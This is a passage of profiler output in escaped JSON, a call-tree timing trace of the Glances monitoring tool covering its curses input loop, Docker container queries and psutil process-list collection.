[]}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100598,\"attributes\": {\"cGlancesCursesStandalone\": 0.10059752900269814, \"l291\": 0.10059752900269814},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100598,\"attributes\": {\"cGlancesCursesStandalone\": 0.10059752900269814, \"l260\": 0.10059752900269814},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100598,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100598,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100558,\"attributes\": {\"cGlancesCursesStandalone\": 0.10055814299994381, \"l1202\": 0.10055814299994381},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100558,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100558,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100576,\"attributes\": {\"cGlancesCursesStandalone\": 0.10057646199857118, \"l291\": 0.10057646199857118},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100576,\"attributes\": {\"cGlancesCursesStandalone\": 0.10057646199857118, \"l260\": 0.10057646199857118},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100576,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100576,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100527,\"attributes\": {\"cGlancesCursesStandalone\": 0.10052743300184375, \"l1202\": 0.10052743300184375},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100527,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100527,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100374,\"attributes\": {\"cGlancesCursesStandalone\": 0.10037395599647425, \"l291\": 0.10037395599647425},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100374,\"attributes\": {\"cGlancesCursesStandalone\": 0.10037395599647425, \"l260\": 0.10037395599647425},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100374,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100374,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100303,\"attributes\": {\"cGlancesCursesStandalone\": 0.10030328600259963, \"l1202\": 0.10030328600259963},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100303,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100303,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100527,\"attributes\": {\"cGlancesCursesStandalone\": 0.10052705399721162, \"l291\": 0.10052705399721162},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100527,\"attributes\": {\"cGlancesCursesStandalone\": 0.10052705399721162, \"l260\": 0.10052705399721162},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100527,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100527,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100489,\"attributes\": {\"cGlancesCursesStandalone\": 0.10048929900221992, \"l1202\": 0.10048929900221992},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100489,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100489,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100594,\"attributes\": {\"cGlancesCursesStandalone\": 0.1005944209973677, \"l291\": 0.1005944209973677},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100594,\"attributes\": {\"cGlancesCursesStandalone\": 0.1005944209973677, \"l260\": 0.1005944209973677},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100594,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100594,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100487,\"attributes\": {\"cGlancesCursesStandalone\": 0.10048667500086594, \"l1202\": 0.10048667500086594},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100487,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100487,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/stats.py\\u0000278\",\"time\": 0.098777,\"attributes\": {\"cGlancesStats\": 0.0987766480029677, \"l287\": 0.0987766480029677},\"children\": [{\"identifier\": \"inner\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000573\",\"time\": 0.098777,\"attributes\": {\"cGlancesStats\": 0.0987766480029677, \"l575\": 0.0987766480029677},\"children\": [{\"identifier\": \"_func\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000568\",\"time\": 0.098777,\"attributes\": {\"l571\": 0.0987766480029677},\"children\": [{\"identifier\": \"update_plugin\\u0000/home/nicolargo/dev/glances/glances/stats.py\\u0000271\",\"time\": 0.098777,\"attributes\": {\"cGlancesStats\": 0.0987766480029677, \"l274\": 0.08279000200127484, \"l275\": 0.01598664600169286},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001275\",\"time\": 0.061767,\"attributes\": {\"cDiskioPlugin\": 0.0037745220033684745, \"l1278\": 0.06176723499811487, \"cContainersPlugin\": 0.003997526000603102, \"cProcesscountPlugin\": 0.053995186994143296},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001293\",\"time\": 0.061767,\"attributes\": {\"l1295\": 0.06176723499811487},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/diskio/__init__.py\\u0000108\",\"time\": 0.003775,\"attributes\": {\"cDiskioPlugin\": 0.0037745220033684745, \"l114\": 0.0037745220033684745},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001349\",\"time\": 0.003775,\"attributes\": {\"cDiskioPlugin\": 0.0037745220033684745, \"l1351\": 0.0037745220033684745},\"children\": [{\"identifier\": \"update_local\\u0000/home/nicolargo/dev/glances/glances/plugins/diskio/__init__.py\\u0000143\",\"time\": 0.003775,\"attributes\": {\"cDiskioPlugin\": 0.0037745220033684745, \"l148\": 0.0017930329995579086, \"l158\": 0.001981489003810566},\"children\": [{\"identifier\": \"disk_io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00002096\",\"time\": 0.001793,\"attributes\": {\"l2129\": 0.0017930329995579086},\"children\": [{\"identifier\": \"disk_io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001028\",\"time\": 0.001793,\"attributes\": {\"l1106\": 0.0017930329995579086},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001793,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"is_display\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001054\",\"time\": 0.001981,\"attributes\": {\"cDiskioPlugin\": 0.001981489003810566, \"l1058\": 0.001981489003810566},\"children\": [{\"identifier\": \"is_hide\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001039\",\"time\": 0.001981,\"attributes\": {\"cDiskioPlugin\": 0.001981489003810566, \"l1048\": 0.001981489003810566},\"children\": [{\"identifier\": \"<genexpr>\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001048\",\"time\": 0.001981,\"attributes\": {\"l1049\": 0.001981489003810566},\"children\": [{\"identifier\": \"fullmatch\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/re/__init__.py\\u0000169\",\"time\": 0.001981,\"attributes\": {\"l172\": 0.001981489003810566},\"children\": [{\"identifier\": \"_compile\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/re/__init__.py\\u0000330\",\"time\": 0.001981,\"attributes\": {\"l333\": 0.001981489003810566},\"children\": [{\"identifier\": \"__get__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/enum.py\\u0000186\",\"time\": 0.001981,\"attributes\": {\"cproperty\": 0.001981489003810566, \"l196\": 0.001981489003810566},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001981,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/containers/__init__.py\\u0000230\",\"time\": 0.003998,\"attributes\": {\"cContainersPlugin\": 0.003997526000603102, \"l252\": 0.003997526000603102},\"children\": [{\"identifier\": \"<genexpr>\\u0000/home/nicolargo/dev/glances/glances/plugins/containers/__init__.py\\u0000253\",\"time\": 0.003998,\"attributes\": {\"l256\": 0.003997526000603102},\"children\": [{\"identifier\": \"get_containers_from_updated_watcher\\u0000/home/nicolargo/dev/glances/glances/plugins/containers/__init__.py\\u0000247\",\"time\": 0.003998,\"attributes\": {\"l248\": 0.003997526000603102},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/containers/engines/docker.py\\u0000248\",\"time\": 0.003998,\"attributes\": {\"cDockerExtension\": 0.003997526000603102, \"l260\": 0.003997526000603102},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []},{\"identifier\": \"list\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/docker/models/containers.py\\u0000957\",\"time\": 0.001999,\"attributes\": {\"cContainerCollection\": 0.00199872500525089, \"l1009\": 0.00199872500525089},\"children\": [{\"identifier\": \"containers\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/docker/api/container.py\\u0000152\",\"time\": 0.001999,\"attributes\": {\"cAPIClient\": 0.00199872500525089, \"l212\": 0.00199872500525089},\"children\": [{\"identifier\": \"inner\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/docker/utils/decorators.py\\u000038\",\"time\": 0.001999,\"attributes\": {\"cAPIClient\": 0.00199872500525089, \"l44\": 0.00199872500525089},\"children\": [{\"identifier\": \"_get\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/docker/api/client.py\\u0000244\",\"time\": 0.001999,\"attributes\": {\"cAPIClient\": 0.00199872500525089, \"l246\": 0.00199872500525089},\"children\": [{\"identifier\": \"get\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/sessions.py\\u0000593\",\"time\": 0.001999,\"attributes\": {\"cAPIClient\": 0.00199872500525089, \"l602\": 0.00199872500525089},\"children\": [{\"identifier\": \"request\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/sessions.py\\u0000500\",\"time\": 0.001999,\"attributes\": {\"cAPIClient\": 0.00199872500525089, \"l589\": 0.00199872500525089},\"children\": [{\"identifier\": \"send\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/sessions.py\\u0000673\",\"time\": 0.001999,\"attributes\": {\"cAPIClient\": 0.00199872500525089, \"l703\": 0.00199872500525089},\"children\": [{\"identifier\": \"send\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/adapters.py\\u0000590\",\"time\": 0.001999,\"attributes\": {\"cUnixHTTPAdapter\": 0.00199872500525089, \"l644\": 0.00199872500525089},\"children\": [{\"identifier\": \"urlopen\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/urllib3/connectionpool.py\\u0000592\",\"time\": 0.001999,\"attributes\": {\"cUnixHTTPConnectionPool\": 0.00199872500525089, \"l787\": 0.00199872500525089},\"children\": [{\"identifier\": \"_make_request\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/urllib3/connectionpool.py\\u0000377\",\"time\": 0.001999,\"attributes\": {\"cUnixHTTPConnectionPool\": 0.00199872500525089, \"l534\": 0.00199872500525089},\"children\": [{\"identifier\": \"getresponse\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/urllib3/connection.py\\u0000540\",\"time\": 0.001999,\"attributes\": {\"cUnixHTTPConnection\": 0.00199872500525089, \"l571\": 0.00199872500525089},\"children\": [{\"identifier\": \"getresponse\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/http/client.py\\u00001386\",\"time\": 0.001999,\"attributes\": {\"cUnixHTTPConnection\": 0.00199872500525089, \"l1430\": 0.00199872500525089},\"children\": [{\"identifier\": \"begin\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/http/client.py\\u0000324\",\"time\": 0.001999,\"attributes\": {\"cHTTPResponse\": 0.00199872500525089, \"l350\": 0.00199872500525089},\"children\": [{\"identifier\": \"parse_headers\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/http/client.py\\u0000245\",\"time\": 0.001999,\"attributes\": {\"l249\": 0.00199872500525089},\"children\": [{\"identifier\": \"_parse_header_lines\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/http/client.py\\u0000231\",\"time\": 0.001999,\"attributes\": {\"l243\": 0.00199872500525089},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/processcount/__init__.py\\u000077\",\"time\": 0.053995,\"attributes\": {\"cProcesscountPlugin\": 0.053995186994143296, \"l85\": 0.053995186994143296},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000591\",\"time\": 0.053995,\"attributes\": {\"cGlancesProcesses\": 0.053995186994143296, \"l617\": 0.04799607399763772, \"l624\": 0.002000284999667201, \"l653\": 0.0022094529995229095, \"l659\": 0.0017893749973154627},\"children\": [{\"identifier\": \"build_process_list\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000476\",\"time\": 0.047996,\"attributes\": {\"cGlancesProcesses\": 0.04799607399763772, \"l478\": 0.04199571499339072, \"l493\": 0.006000359004247002},\"children\": [{\"identifier\": \"process_iter\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001512\",\"time\": 0.041996,\"attributes\": {\"l1558\": 0.039995294995605946, \"l1559\": 0.0020004199977847748},\"children\": [{\"identifier\": \"as_dict\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000545\",\"time\": 0.029996,\"attributes\": {\"cProcess\": 0.029995823999342974, \"l579\": 0.021999980992404744, \"l572\": 0.00799584300693823},\"children\": [{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000673\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019989339998573996, \"l687\": 0.0019989339998573996},\"children\": [{\"identifier\": \"cmdline\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000746\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019989339998573996, \"l748\": 0.0019989339998573996},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019989339998573996, \"l1593\": 0.0019989339998573996},\"children\": [{\"identifier\": \"cmdline\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001748\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019989339998573996, \"l1754\": 0.0019989339998573996},\"children\": [{\"identifier\": \"_raise_if_zombie\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001646\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019989339998573996, \"l1647\": 0.0019989339998573996},\"children\": [{\"identifier\": \"_is_zombie\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001630\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019989339998573996, \"l1638\": 0.0019989339998573996},\"children\": [{\"identifier\": \"bcat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000728\",\"time\": 0.001999,\"attributes\": {\"l730\": 0.0019989339998573996},\"children\": [{\"identifier\": \"cat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000711\",\"time\": 0.001999,\"attributes\": {\"l719\": 0.0019989339998573996},\"children\": [{\"identifier\": \"BufferedReader.read\\u0000<built-in>\\u00000\",\"time\": 0.001999,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]},{\"identifier\": \"gids\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000808\",\"time\": 0.003997,\"attributes\": {\"cProcess\": 0.003996634994109627, \"l812\": 0.003996634994109627},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.003997,\"attributes\": {\"cProcess\": 0.003996634994109627, \"l1593\": 0.003996634994109627},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001997,\"attributes\": {},\"children\": []},{\"identifier\": \"gids\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00002265\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.001999799998884555, \"l2267\": 0.001999799998884555},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.001999799998884555, \"l1593\": 0.001999799998884555},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.001999799998884555, \"l391\": 0.001999799998884555},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000673\",\"time\": 0.004001,\"attributes\": {\"cProcess\": 0.00400098899990553, \"l687\": 0.0019992779998574406, \"l680\": 0.0020017110000480898},\"children\": [{\"identifier\": \"cmdline\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000746\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019992779998574406, \"l748\": 0.0019992779998574406},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019992779998574406, \"l1593\": 0.0019992779998574406},\"children\": [{\"identifier\": \"cmdline\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001748\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019992779998574406, \"l1754\": 0.0019992779998574406},\"children\": [{\"identifier\": \"_raise_if_zombie\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001646\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019992779998574406, \"l1647\": 0.0019992779998574406},\"children\": [{\"identifier\": \"_is_zombie\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001630\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019992779998574406, \"l1638\": 0.0019992779998574406},\"children\": [{\"identifier\": \"bcat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000728\",\"time\": 0.001999,\"attributes\": {\"l730\": 0.0019992779998574406},\"children\": [{\"identifier\": \"cat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000711\",\"time\": 0.001999,\"attributes\": {\"l718\": 0.0019992779998574406},\"children\": [{\"identifier\": \"BufferedReader.__enter__\\u0000<built-in>\\u00000\",\"time\": 0.001999,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020017110000480898, \"l1593\": 0.0020017110000480898},\"children\": [{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001737\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020017110000480898, \"l1740\": 0.0020017110000480898},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020017110000480898, \"l1593\": 0.0020017110000480898},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020017110000480898, \"l382\": 0.0020017110000480898},\"children\": [{\"identifier\": \"_parse_stat_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001672\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020017110000480898, \"l1683\": 0.0020017110000480898},\"children\": [{\"identifier\": \"bcat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000728\",\"time\": 0.002002,\"attributes\": {\"l730\": 0.0020017110000480898},\"children\": [{\"identifier\": \"cat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000711\",\"time\": 0.002002,\"attributes\": {\"l718\": 0.0020017110000480898},\"children\": [{\"identifier\": \"open_binary\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000681\",\"time\": 0.002002,\"attributes\": {\"l682\": 0.0020017110000480898},\"children\": [{\"identifier\": \"open\\u0000<built-in>\\u00000\",\"time\": 0.002002,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000829\",\"time\": 0.001998,\"attributes\": {\"cProcess\": 0.001998145002289675, \"l836\": 0.001998145002289675},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001998,\"attributes\": {\"cProcess\": 0.001998145002289675, \"l1595\": 0.001998145002289675},\"children\": [{\"identifier\": \"__init__\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000250\",\"time\": 0.001998,\"attributes\": {\"cAccessDenied\": 0.001998145002289675, \"l254\": 0.001998145002289675},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000673\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.0020011700034956448, \"l687\": 0.0020011700034956448},\"children\": [{\"identifier\": \"cmdline\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000746\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.0020011700034956448, \"l748\": 0.0020011700034956448},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.0020011700034956448, \"l1593\": 0.0020011700034956448},\"children\": [{\"identifier\": \"cmdline\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001748\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.0020011700034956448, \"l1754\": 0.0020011700034956448},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"__exit__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/contextlib.py\\u0000145\",\"time\": 0.002000,\"attributes\": {\"c_GeneratorContextManager\": 0.001999843996600248, \"l148\": 0.001999843996600248},\"children\": [{\"identifier\": \"oneshot\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000478\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.001999843996600248, \"l538\": 0.001999843996600248},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000937\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.002001052998821251, \"l939\": 0.002001052998821251},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.002001052998821251, \"l1593\": 0.002001052998821251},\"children\": [{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00002049\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.002001052998821251, \"l2052\": 0.002001052998821251},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.002001052998821251, \"l1593\": 0.002001052998821251},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.002001052998821251, \"l382\": 0.002001052998821251},\"children\": [{\"identifier\": \"_read_status_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001711\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.002001052998821251, \"l1718\": 0.002001052998821251},\"children\": [{\"identifier\": \"open_binary\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000681\",\"time\": 0.002001,\"attributes\": {\"l682\": 0.002001052998821251},\"children\": [{\"identifier\": \"open\\u0000<built-in>\\u00000\",\"time\": 0.002001,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]},{\"identifier\": \"__exit__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/contextlib.py\\u0000145\",\"time\": 0.001999,\"attributes\": {\"c_GeneratorContextManager\": 0.001998500003537629, \"l148\": 0.001998500003537629},\"children\": [{\"identifier\": \"oneshot\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000478\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.001998500003537629, \"l543\": 0.001998500003537629},\"children\": [{\"identifier\": 